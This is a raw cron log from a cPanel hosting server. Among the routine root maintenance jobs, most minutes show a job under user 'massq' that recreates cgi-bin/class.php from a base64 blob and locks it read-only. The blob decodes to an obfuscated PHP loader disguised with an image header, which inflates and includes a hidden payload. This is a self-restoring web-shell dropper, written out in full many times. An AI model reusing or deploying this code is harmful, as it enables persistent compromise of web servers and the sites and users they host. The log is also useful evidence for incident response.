Sep 12 01:08:01 server CROND[27856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:08:01 server CROND[27857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:08:01 server CROND[27858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:09:01 server CROND[28237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:09:01 server CROND[28239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:09:01 server CROND[28240]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 01:09:01 server CROND[28238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:10:01 server CROND[28626]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:10:01 server CROND[28628]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:10:01 server CROND[28629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:10:01 server CROND[28633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:10:01 server CROND[28631]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:10:01 server CROND[28632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:10:01 server CROND[28635]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:10:01 server CROND[28637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:11:01 server CROND[29556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:11:01 server CROND[29557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:11:01 server CROND[29558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:12:01 server CROND[29943]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 01:12:01 server CROND[29944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:12:01 server CROND[29945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:12:01 server CROND[29946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:13:01 server CROND[30328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:13:01 server CROND[30329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:13:01 server CROND[30330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:14:01 server CROND[30716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:14:01 server CROND[30718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:14:01 server CROND[30717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:15:01 server CROND[31101]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:15:02 server CROND[31102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:15:02 server CROND[31105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:15:02 server CROND[31106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:15:02 server CROND[31109]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 01:15:02 server CROND[31108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:15:02 server CROND[31107]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:15:02 server CROND[31110]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:16:01 server CROND[32022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:16:01 server CROND[32023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:16:01 server CROND[32024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:17:01 server CROND[32390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:17:01 server CROND[32391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:17:01 server CROND[32392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:18:01 server CROND[356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:18:01 server CROND[355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:18:01 server CROND[357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:19:01 server CROND[753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:19:01 server CROND[755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:19:01 server CROND[754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:20:01 server CROND[1273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:20:01 server CROND[1274]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:20:01 server CROND[1285]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
